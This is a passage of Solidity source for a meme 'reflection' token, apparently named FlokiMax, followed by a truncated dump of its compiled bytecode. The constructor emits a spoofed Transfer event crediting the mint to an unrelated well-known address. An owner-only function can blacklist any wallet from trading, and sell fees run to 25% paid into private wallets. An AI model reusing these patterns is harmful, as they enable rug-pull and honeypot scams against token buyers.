address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable addr1, address payable addr2) {
_FeeAddress = addr1;
_marketingWalletAddress = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_FeeAddress] = true;
_isExcludedFromFee[_marketingWalletAddress] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_taxFee = 5;
_teamFee = 10;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_taxFee = 5;
_teamFee = 20;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612d79565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128a3565b61045e565b6040516101789190612d5e565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612efb565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612850565b610490565b6040516101e09190612d5e565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906127b6565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612f70565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061292c565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f91906127b6565b610786565b6040516102b19190612efb565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612c90565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612d79565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128a3565b610990565b60405161035b9190612d5e565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906128e3565b6109ae565b005b34801561039957600080fd5b506103a2610ad8565b005b3480156103b057600080fd5b506103b9610b52565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612986565b6110b4565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612810565b611200565b6040516104189190612efb565b60405180910390f35b60606040518060400160405280600881526020017f466c6f6b694d6178000000000000000000000000000000000000000000000000815250905090565b600061047261046b611287565b848461128f565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d84848461145a565b61055e846104a9611287565b6105598560405180606001604052806028815260200161364e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f611287565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b129092919063ffffffff16565b61128f565b600190509392505050565b610571611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612e5b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612e5b565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610755611287565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b76565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c71565b9050919050565b6107df611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f466c6f6b694d6178000000000000000000000000000000000000000000000000815250905090565b60006109a461099d611287565b848461145a565b6001905092915050565b6109b6611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612e5b565b60405180910390fd5b60005b8151811015610ad457600160066000848481518110610a6857610a676132b8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610acc90613211565b915050610a46565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b19611287565b73ffffffffffffffffffffffffffffffffffffffff1614610b3957600080fd5b6000610b4430610786565b9050610b4f81611cdf565b50565b610b5a611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bde90612e5b565b60405180910390fd5b601160149054906101000a900460ff1615610c37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2e90612edb565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cca30601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce800000061128f565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d1057600080fd5b505afa158015610d24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4891906127e3565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610daa57600080fd5b505afa158015610dbe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de291906127e3565b6040518363ffffffff1660e01b8152600401610dff929190612cab565b602060405180830381600087803b158015610e1957600080fd5b505af1158015610e2d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5191906127e3565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610eda30610786565b600080610ee561092a565b426040518863ffffffff1660e01b8152600401610f0796959493929190612cfd565b6060604051808303818588803b158015610f2057600080fd5b505af1158015610f34573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f5991906129b3565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff0219169083151502179055506a52b7d2dcc80cd2e40000006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161105e929190612cd4565b602060405180830381600087803b15801561107857600080fd5b505af115801561108c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110b09190612959565b5050565b6110bc611287565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612e5b565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612e1b565b60405180910390fd5b6111be60646111b0836b033b2e3c9fd0803ce8000000611f6790919063ffffffff16565b611fe290919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6012546040516111f59190612efb565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612ebb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136690612ddb565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144d9190612efb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c190612e9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561153a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153190612d9b565b60405180910390fd5b6000811161157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490612e7b565b60405180910390fd5b6005600a81905550600a600b8190555061159561092a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160357506115d361092a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611a4f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ac5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116b557600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117605750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117b65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117ce5750601160179054906101000a900460ff165b1561187e576012548111156117e257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061182d57600080fd5b601e4261183a9190613031565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156119295750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561197f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611995576005600a819055506014600b819055505b60006119a030610786565b9050601160159054906101000a900460ff16158015611a0d5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611a255750601160169054906101000a900460ff165b15611a4d57611a3381611cdf565b60004790506000811115611a4b57611a4a47611b76565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611af65750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b0057600090505b611b0c8484848461202c565b50505050565b6000838311158290611b5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b519190612d79565b60405180910390fd5b5060008385611b699190613112565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611bc6600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611bf1573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c42600284611fe290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c6d573d6000803e3d6000fd5b5050565b6000600854821115611cb8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611caf90612dbb565b60405180910390fd5b6000611cc2612059565b9050611cd78184611fe290919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d1757611d166132e7565b5b604051908082528060200260200182016040528015611d455781602001602082028036833780820191505090505b5090503081600081518110611d5d57611d5c6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611dff57600080fd5b505afa158015611e13573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e3791906127e3565b81600181518110611e4b57611e4a6132b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611eb230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128f565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f16959493929190612f16565b600060405180830381600087803b158015611f3057600080fd5b505af1158015611f44573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415611f7a5760009050611fdc565b60008284611f8891906130b8565b9050828482611f979190613087565b14611fd7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fce90612e3b565b60405180910390fd5b809150505b92915050565b600061202483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612084565b905092915050565b8061203a576120396120e7565b5b61204584848461212a565b80612053576120526122f5565b5b50505050565b6000806000612066612309565b9150915061207d8183611fe290919063ffffffff16565b9250505090565b600080831182906120cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c29190612d79565b60405180910390fd5b50600083856120da9190613087565b9050809150509392505050565b6000600a541480156120fb57506000600b54145b1561210557612128565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b60008060008060008061213c87612374565b95509550955095509550955061219a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123dc90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061222f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061227b81612484565b6122858483612541565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516122e29190612efb565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006b033b2e3c9fd0803ce800000090506123456b033b2e3c9fd0803ce8000000600854611fe290919063ffffffff16565b821015612367576008546b033b2e3c9fd0803ce8000000935093505050612370565b81819350935050505b9091565b60008060008060008060008060006123918a600a54600b5461257b565b92509250925060006123a1612059565b905060008060006123b48e878787612611565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061241e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b12565b905092915050565b60008082846124359190613031565b90508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161247190612dfb565b60405180910390fd5b8091505092915050565b600061248e612059565b905060006124a58284611f6790919063ffffffff16565b90506124f981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612556826008546123dc90919063ffffffff16565b6008819055506125718160095461242690919063ffffffff16565b6009819055505050565b6000806000806125a76064612599888a611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125d160646125c3888b611f6790919063ffffffff16565b611fe290919063ffffffff16565b905060006125fa826125ec858c6123dc90919063ffffffff16565b6123dc90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061262a8589611f6790919063ffffffff16565b905060006126418689611f6790919063ffffffff16565b905060006126588789611f6790919063ffffffff16565b905060006126818261267385876123dc90919063ffffffff16565b6123dc90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126ad6126a884612fb0565b612f8b565b905080838252602082019050828560208602820111156126d0576126cf61331b565b5b60005b8581101561270057816126e6888261270a565b8452602084019350602083019250506001810190506126d3565b5050509392505050565b60008135905061271981613608565b92915050565b60008151905061272e81613608565b92915050565b600082601f83011261274957612748613316565b5b813561275984826020860161269a565b91505092915050565b6000813590506127718161361f565b92915050565b6000815190506127868161361f565b92915050565b60008135905061279b81613636565b92915050565b6000815190506127b081613636565b92915050565b6000602082840312156127cc576127cb613325565b5b60006127da8482850161270a565b91505092915050565b6000602082840312156127f9576127f8613325565b5b60006128078482850161271f565b91505092915050565b6000806040838503121561282757612826613325565b5b60006128358582860161270a565b92505060206128468582860161270a565b9150509250929050565b60008060006060848603121561286957612868613325565b5b60006128778682870161270a565b93505060206128888682870161270a565b92505060406128998682870161278c565b9150509250925092565b600080604083850312156128ba576128b9613325565b5b60006128c88582860161270a565b92505060206128d98582860161278c565b9150509250929050565b6000602082840312156128f9576128f8613325565b5b600082013567ffffffffffffffff81111561291757612916613320565b5b61292384828501612734565b91505092915050565b60006020828403121561294257612941613325565b5b600061295084828501612762565b91505092915050565b60006020828403121561296f5761296e613325565b5b600061297d84828501612777565b91505092915050565b60006020828403121561299c5761299b613325565b5b60006129aa8482850161278c565b91505092915050565b6000806000606084860312156129cc576129cb613325565b5b60006129da868287016127a1565b93505060206129eb868287016127a1565b92505060406129fc868287016127a1565b9150509250925092565b6000612a128383612a1e565b60208301905092915050565b612a2781613146565b82525050565b612a3681613146565b82525050565b6000612a4782612fec565b612a51818561300f565b9350612a5c83612fdc565b8060005b83811015612a8d578151612a748882612a06565b9750612a7f83613002565b925050600181019050612a60565b5085935050505092915050565b612aa381613158565b82525050565b612ab28161319b565b82525050565b6000612ac382612ff7565b612acd8185613020565b9350612add8185602086016131ad565b612ae68161332a565b840191505092915050565b6000612afe602383613020565b9150612b098261333b565b604082019050919050565b6000612b21602a83613020565b9150612b2c8261338a565b604082019050919050565b6000612b44602283613020565b9150612b4f826133d9565b604082019050919050565b6000612b67601b83613020565b9150612b7282613428565b602082019050919050565b6000612b8a601d83613020565b9150612b9582613451565b602082019050919050565b6000612bad602183613020565b9150612bb88261347a565b604082019050919050565b6000612bd0602083613020565b9150612bdb826134c9565b602082019050919050565b6000612bf3602983613020565b9150612bfe826134f2565b604082019050919050565b6000612c16602583613020565b9150612c2182613541565b604082019050919050565b6000612c39602483613020565b9150612c4482613590565b604082019050919050565b6000612c5c601783613020565b9150612c67826135df565b602082019050919050565b612c7b81613184565b82525050565b612c8a8161318e565b82525050565b6000602082019050612ca56000830184612a2d565b92915050565b6000604082019050612cc06000830185612a2d565b612ccd6020830184612a2d565b9392505050565b6000604082019050612ce96000830185612a2d565b612cf66020830184612c72565b9392505050565b600060c082019050612d126000830189612a2d565b612d1f6020830188612c72565b612d2c6040830187612aa9565b612d396060830186612aa9565b612d466080830185612a2d565b612d5360a0830184612c72565b979650505050505050565b6000602082019050612d736000830184612a9a565b92915050565b60006020820190508181036000830152612d938184612ab8565b905092915050565b60006020820190508181036000830152612db481612af1565b9050919050565b60006020820190508181036000830152612dd481612b14565b9050919050565b60006020820190508181036000830152612df481612b37565b9050919050565b60006020820190508181036000830152612e1481612b5a565b9050919050565b60006020820190508181036000830152612e3481612b7d565b9050919050565b60006020820190508181036000830152612e5481612ba0565b9050919050565b60006020820190508181036000830152612e7481612bc3565b9050919050565b60006020820190508181036000830152612e9481612be6565b9050919050565b60006020820190508181036000830152612eb481612c09565b9050919050565b60006020820190508181036000830152612ed481612c2c565b9050919050565b60006020820190508181036000830152612ef481612c4f565b9050919050565b6000602082019050612f106000830184612c72565b92915050565b600060a082019050612f2b6000830188612c72565b612f386020830187612aa9565b8181036040830152612f4a8186612a3c565b9050612f596060830185612a2d565b612f666080830184612c72565b9695505050505050565b6000602082019050612f856000830184612c81565b92915050565b6000612f95612fa6565b9050612fa182826131e0565b919050565b6000604051905090565b600067ffffffffffffffff821115612fcb57612fca6132e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b6000828